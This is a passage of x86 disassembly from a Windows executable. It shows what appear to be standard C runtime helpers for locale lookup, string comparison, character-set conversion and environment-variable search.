		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_448450, ecx
		mov	edx, dword_4483A8
		imul	edx, 3E8h
		mov	eax, dword_448450
		add	eax, edx
		mov	dword_448450, eax
		cmp	dword_448450, 0
		jge	short loc_432351
		mov	ecx, dword_448450
		add	ecx, 5265C00h
		mov	dword_448450, ecx
		mov	edx, dword_44844C
		sub	edx, 1
		mov	dword_44844C, edx
		jmp	short loc_43237B
; ---------------------------------------------------------------------------


loc_432351:				; CODE XREF: sub_432190+19Cj
		cmp	dword_448450, 5265C00h
		jl	short loc_43237B
		mov	eax, dword_448450
		sub	eax, 5265C00h
		mov	dword_448450, eax
		mov	ecx, dword_44844C
		add	ecx, 1
		mov	dword_44844C, ecx


loc_43237B:				; CODE XREF: sub_432190+1BFj
					; sub_432190+1CBj
		mov	edx, [ebp+arg_8]
		mov	dword_448448, edx


loc_432384:				; CODE XREF: sub_432190+14Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_432190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432390	proc near		; CODE XREF: sub_430D00+19Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435FE8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DE2FC, 0
		jnz	short loc_432402
		push	0
		push	0
		push	1
		push	0
		call	dword_4E02DC	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_4323DD
		mov	dword_4DE2FC, 1
		jmp	short loc_432402
; ---------------------------------------------------------------------------


loc_4323DD:				; CODE XREF: sub_432390+3Fj
		push	0
		push	0
		push	1
		push	0
		call	dword_4E0398	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_4323FB
		mov	dword_4DE2FC, 2
		jmp	short loc_432402
; ---------------------------------------------------------------------------


loc_4323FB:				; CODE XREF: sub_432390+5Dj
		xor	eax, eax
		jmp	loc_432511
; ---------------------------------------------------------------------------


loc_432402:				; CODE XREF: sub_432390+2Dj
					; sub_432390+4Bj ...
		cmp	dword_4DE2FC, 1
		jnz	short loc_432426
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E02DC	; GetLocaleInfoW
		jmp	loc_432511
; ---------------------------------------------------------------------------


loc_432426:				; CODE XREF: sub_432390+79j
		cmp	dword_4DE2FC, 2
		jnz	loc_43250F
		cmp	[ebp+arg_10], 0
		jnz	short loc_432442
		mov	ecx, dword_4DE084
		mov	[ebp+arg_10], ecx


loc_432442:				; CODE XREF: sub_432390+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E0398	; GetLocaleInfoA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_432464
		xor	eax, eax
		jmp	loc_432511
; ---------------------------------------------------------------------------


loc_432464:				; CODE XREF: sub_432390+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4324A4
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4324A4:				; CODE XREF: sub_432390+FBj
		cmp	[ebp+var_20], 0
		jnz	short loc_4324AE
		xor	eax, eax
		jmp	short loc_432511
; ---------------------------------------------------------------------------


loc_4324AE:				; CODE XREF: sub_432390+118j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4E0398	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_4324CC
		xor	eax, eax
		jmp	short loc_432511
; ---------------------------------------------------------------------------


loc_4324CC:				; CODE XREF: sub_432390+136j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4324ED
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_24], eax
		jmp	short loc_43250A
; ---------------------------------------------------------------------------


loc_4324ED:				; CODE XREF: sub_432390+140j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_24], eax


loc_43250A:				; CODE XREF: sub_432390+15Bj
		mov	eax, [ebp+var_24]
		jmp	short loc_432511
; ---------------------------------------------------------------------------


loc_43250F:				; CODE XREF: sub_432390+9Dj
		xor	eax, eax


loc_432511:				; CODE XREF: sub_432390+6Dj
					; sub_432390+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_432390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432530	proc near		; CODE XREF: sub_430D00+4Bp
					; sub_430D00+7Ep ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435FF8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DE300, 0
		jnz	short loc_4325A2
		push	0
		push	0
		push	1
		push	0
		call	dword_4E02DC	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_43257D
		mov	dword_4DE300, 1
		jmp	short loc_4325A2
; ---------------------------------------------------------------------------


loc_43257D:				; CODE XREF: sub_432530+3Fj
		push	0
		push	0
		push	1
		push	0
		call	dword_4E0398	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_43259B
		mov	dword_4DE300, 2
		jmp	short loc_4325A2
; ---------------------------------------------------------------------------


loc_43259B:				; CODE XREF: sub_432530+5Dj
		xor	eax, eax
		jmp	loc_4326C1
; ---------------------------------------------------------------------------


loc_4325A2:				; CODE XREF: sub_432530+2Dj
					; sub_432530+4Bj ...
		cmp	dword_4DE300, 2
		jnz	short loc_4325C6
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E0398	; GetLocaleInfoA
		jmp	loc_4326C1
; ---------------------------------------------------------------------------


loc_4325C6:				; CODE XREF: sub_432530+79j
		cmp	dword_4DE300, 1
		jnz	loc_4326BF
		cmp	[ebp+arg_10], 0
		jnz	short loc_4325E2
		mov	ecx, dword_4DE084
		mov	[ebp+arg_10], ecx


loc_4325E2:				; CODE XREF: sub_432530+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E02DC	; GetLocaleInfoW
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_432604
		xor	eax, eax
		jmp	loc_4326C1
; ---------------------------------------------------------------------------


loc_432604:				; CODE XREF: sub_432530+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_432646
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_432646:				; CODE XREF: sub_432530+FDj
		cmp	[ebp+var_20], 0
		jnz	short loc_432650
		xor	eax, eax
		jmp	short loc_4326C1
; ---------------------------------------------------------------------------


loc_432650:				; CODE XREF: sub_432530+11Aj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4E02DC	; GetLocaleInfoW
		test	eax, eax
		jnz	short loc_43266E
		xor	eax, eax
		jmp	short loc_4326C1
; ---------------------------------------------------------------------------


loc_43266E:				; CODE XREF: sub_432530+138j
		cmp	[ebp+arg_C], 0
		jnz	short loc_432696
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		jmp	short loc_4326BA
; ---------------------------------------------------------------------------


loc_432696:				; CODE XREF: sub_432530+142j
		push	0
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_24], eax


loc_4326BA:				; CODE XREF: sub_432530+164j
		mov	eax, [ebp+var_24]
		jmp	short loc_4326C1
; ---------------------------------------------------------------------------


loc_4326BF:				; CODE XREF: sub_432530+9Dj
		xor	eax, eax


loc_4326C1:				; CODE XREF: sub_432530+6Dj
					; sub_432530+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_432530	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	sub_41BC80
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_432710
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432710	proc near		; CODE XREF: sub_431AB0+3Ap
					; .data:004326F2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4DDFA0
		mov	[ebp+var_8], eax
		cmp	dword_4DF688, 0
		jnz	short loc_43272E
		xor	eax, eax
		jmp	loc_4327D2
; ---------------------------------------------------------------------------


loc_43272E:				; CODE XREF: sub_432710+15j
		cmp	[ebp+var_8], 0
		jnz	short loc_432756
		cmp	dword_4DDFA8, 0
		jz	short loc_432756
		call	sub_432830
		test	eax, eax
		jz	short loc_43274D
		xor	eax, eax
		jmp	loc_4327D2
; ---------------------------------------------------------------------------


loc_43274D:				; CODE XREF: sub_432710+34j
		mov	ecx, dword_4DDFA0
		mov	[ebp+var_8], ecx


loc_432756:				; CODE XREF: sub_432710+22j
					; sub_432710+2Bj
		cmp	[ebp+var_8], 0
		jz	short loc_4327D0
		cmp	[ebp+arg_0], 0
		jz	short loc_4327D0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_414EC0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_432771:				; CODE XREF: sub_432710+BEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4327D0
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_414EC0
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_4327C5
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+edx]
		cmp	eax, 3Dh
		jnz	short loc_4327C5
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx
		call	sub_4327E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4327C5
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_4327D2
; ---------------------------------------------------------------------------


loc_4327C5:				; CODE XREF: sub_432710+7Aj
					; sub_432710+8Bj ...
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_432771
; ---------------------------------------------------------------------------


loc_4327D0:				; CODE XREF: sub_432710+4Aj
					; sub_432710+50j ...
		xor	eax, eax


loc_4327D2:				; CODE XREF: sub_432710+19j
					; sub_432710+38j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_432710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4327E0	proc near		; CODE XREF: sub_432710+9Bp
					; sub_433010+2Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4327EE
		xor	eax, eax
		jmp	short loc_43282B
; ---------------------------------------------------------------------------


loc_4327EE:				; CODE XREF: sub_4327E0+8j
		mov	eax, dword_4DE42C
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	1
		mov	edx, dword_4DE644
		push	edx
		call	sub_4328E0
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_432825
		mov	eax, 7FFFFFFFh
		jmp	short loc_43282B
; ---------------------------------------------------------------------------


loc_432825:				; CODE XREF: sub_4327E0+3Cj
		mov	eax, [ebp+var_4]
		sub	eax, 2


loc_43282B:				; CODE XREF: sub_4327E0+Cj
					; sub_4327E0+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_4327E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432830	proc near		; CODE XREF: sub_432710+2Dp
					; sub_432D30+81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4DDFA8
		mov	[ebp+var_4], eax


loc_43283E:				; CODE XREF: sub_432830+A3j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	loc_4328D8
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		push	0
		push	1
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_432872
		or	eax, 0FFFFFFFFh
		jmp	short loc_4328DA
; ---------------------------------------------------------------------------


loc_432872:				; CODE XREF: sub_432830+3Bj
		push	3Dh
		push	offset dword_436004
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_432895
		or	eax, 0FFFFFFFFh
		jmp	short loc_4328DA
; ---------------------------------------------------------------------------


loc_432895:				; CODE XREF: sub_432830+5Ej
		push	0
		push	0
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		push	0
		push	1
		call	dword_4E0424	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_4328BC
		or	eax, 0FFFFFFFFh
		jmp	short loc_4328DA
; ---------------------------------------------------------------------------


loc_4328BC:				; CODE XREF: sub_432830+85j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_432D30
		add	esp, 8
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	loc_43283E
; ---------------------------------------------------------------------------


loc_4328D8:				; CODE XREF: sub_432830+14j
		xor	eax, eax


loc_4328DA:				; CODE XREF: sub_432830+40j
					; sub_432830+63j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_432830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4328E0	proc near		; CODE XREF: sub_4327E0+2Dp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_436058
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DE304, 0
		jnz	short loc_432966
		push	1
		push	offset dword_435398
		push	1
		push	offset dword_435398
		push	0
		push	0
		call	dword_4E02D4	; CompareStringW
		test	eax, eax
		jz	short loc_432937
		mov	dword_4DE304, 1
		jmp	short loc_432966
; ---------------------------------------------------------------------------


loc_432937:				; CODE XREF: sub_4328E0+49j
		push	1
		push	offset dword_435394
		push	1
		push	offset dword_435394
		push	0
		push	0
		call	dword_4E02D8	; CompareStringA
		test	eax, eax
		jz	short loc_43295F
		mov	dword_4DE304, 2
		jmp	short loc_432966
; ---------------------------------------------------------------------------


loc_43295F:				; CODE XREF: sub_4328E0+71j
		xor	eax, eax
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432966:				; CODE XREF: sub_4328E0+2Dj
					; sub_4328E0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_43297F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_432CE0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_43297F:				; CODE XREF: sub_4328E0+8Aj
		cmp	[ebp+arg_14], 0
		jle	short loc_432998
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_432CE0
		add	esp, 8
		mov	[ebp+arg_14], eax


loc_432998:				; CODE XREF: sub_4328E0+A3j
		cmp	dword_4DE304, 2
		jnz	short loc_4329C4
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E02D8	; CompareStringA
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_4329C4:				; CODE XREF: sub_4328E0+BFj
		cmp	dword_4DE304, 1
		jnz	loc_432CC2
		cmp	[ebp+arg_18], 0
		jnz	short loc_4329E0
		mov	ecx, dword_4DE084
		mov	[ebp+arg_18], ecx


loc_4329E0:				; CODE XREF: sub_4328E0+F5j
		cmp	[ebp+arg_C], 0
		jz	short loc_4329F0
		cmp	[ebp+arg_14], 0
		jnz	loc_432B6C


loc_4329F0:				; CODE XREF: sub_4328E0+104j
		mov	edx, [ebp+arg_C]
		cmp	edx, [ebp+arg_14]
		jnz	short loc_432A02
		mov	eax, 2
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432A02:				; CODE XREF: sub_4328E0+116j
		cmp	[ebp+arg_14], 1
		jle	short loc_432A12
		mov	eax, 1
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432A12:				; CODE XREF: sub_4328E0+126j
		cmp	[ebp+arg_C], 1
		jle	short loc_432A22
		mov	eax, 3
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432A22:				; CODE XREF: sub_4328E0+136j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	dword_4E04B4	; GetCPInfo
		test	eax, eax
		jnz	short loc_432A3B
		xor	eax, eax
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432A3B:				; CODE XREF: sub_4328E0+152j
					; sub_4328E0+198j
		cmp	[ebp+arg_C], 0
		jnz	short loc_432A47
		cmp	[ebp+arg_14], 1
		jz	short loc_432A74


loc_432A47:				; CODE XREF: sub_4328E0+15Fj
		cmp	[ebp+arg_C], 1
		jnz	short loc_432A53
		cmp	[ebp+arg_14], 0
		jz	short loc_432A74


loc_432A53:				; CODE XREF: sub_4328E0+16Bj
		push	offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
		push	0
		push	0B6h
		push	offset dword_436010
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_432A74
		int	3		; Trap to Debugger


loc_432A74:				; CODE XREF: sub_4328E0+165j
					; sub_4328E0+171j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_432A3B
		cmp	[ebp+arg_C], 0
		jle	short loc_432AF3
		cmp	[ebp+var_3C], 2
		jnb	short loc_432A90
		mov	eax, 3
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432A90:				; CODE XREF: sub_4328E0+1A4j
		lea	eax, [ebp+var_36]
		mov	[ebp+var_40], eax
		jmp	short loc_432AA1
; ---------------------------------------------------------------------------


loc_432A98:				; CODE XREF: sub_4328E0:loc_432AE7j
		mov	ecx, [ebp+var_40]
		add	ecx, 2
		mov	[ebp+var_40], ecx


loc_432AA1:				; CODE XREF: sub_4328E0+1B6j
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_432AE9
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_432AE9
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		cmp	ecx, eax
		jl	short loc_432AE7
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	edx, ecx
		jg	short loc_432AE7
		mov	eax, 2
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432AE7:				; CODE XREF: sub_4328E0+1E8j
					; sub_4328E0+1FBj
		jmp	short loc_432A98
; ---------------------------------------------------------------------------


loc_432AE9:				; CODE XREF: sub_4328E0+1CAj
					; sub_4328E0+1D6j
		mov	eax, 3
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432AF3:				; CODE XREF: sub_4328E0+19Ej
		cmp	[ebp+arg_14], 0
		jle	short loc_432B6C
		cmp	[ebp+var_3C], 2
		jnb	short loc_432B09
		mov	eax, 1
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432B09:				; CODE XREF: sub_4328E0+21Dj
		lea	edx, [ebp+var_36]
		mov	[ebp+var_40], edx
		jmp	short loc_432B1A
; ---------------------------------------------------------------------------


loc_432B11:				; CODE XREF: sub_4328E0:loc_432B60j
		mov	eax, [ebp+var_40]
		add	eax, 2
		mov	[ebp+var_40], eax


loc_432B1A:				; CODE XREF: sub_4328E0+22Fj
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_432B62
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_432B62
		mov	edx, [ebp+arg_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jl	short loc_432B60
		mov	eax, [ebp+arg_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jg	short loc_432B60
		mov	eax, 2
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432B60:				; CODE XREF: sub_4328E0+261j
					; sub_4328E0+274j
		jmp	short loc_432B11
; ---------------------------------------------------------------------------


loc_432B62:				; CODE XREF: sub_4328E0+243j
					; sub_4328E0+24Fj
		mov	eax, 1
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432B6C:				; CODE XREF: sub_4328E0+10Aj
					; sub_4328E0+217j
		push	0
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_432B94
		xor	eax, eax
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432B94:				; CODE XREF: sub_4328E0+2ABj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_44], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_432BD6
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_432BD6:				; CODE XREF: sub_4328E0+2DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_432BE3
		xor	eax, eax
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432BE3:				; CODE XREF: sub_4328E0+2FAj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_432C0A
		xor	eax, eax
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432C0A:				; CODE XREF: sub_4328E0+321j
		push	0
		push	0
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_432C32
		xor	eax, eax
		jmp	loc_432CC4
; ---------------------------------------------------------------------------


loc_432C32:				; CODE XREF: sub_4328E0+349j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_48], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_432C74
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_28], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_432C74:				; CODE XREF: sub_4328E0+37Bj
		cmp	[ebp+var_28], 0
		jnz	short loc_432C7E
		xor	eax, eax
		jmp	short loc_432CC4
; ---------------------------------------------------------------------------


loc_432C7E:				; CODE XREF: sub_4328E0+398j
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_432CA2
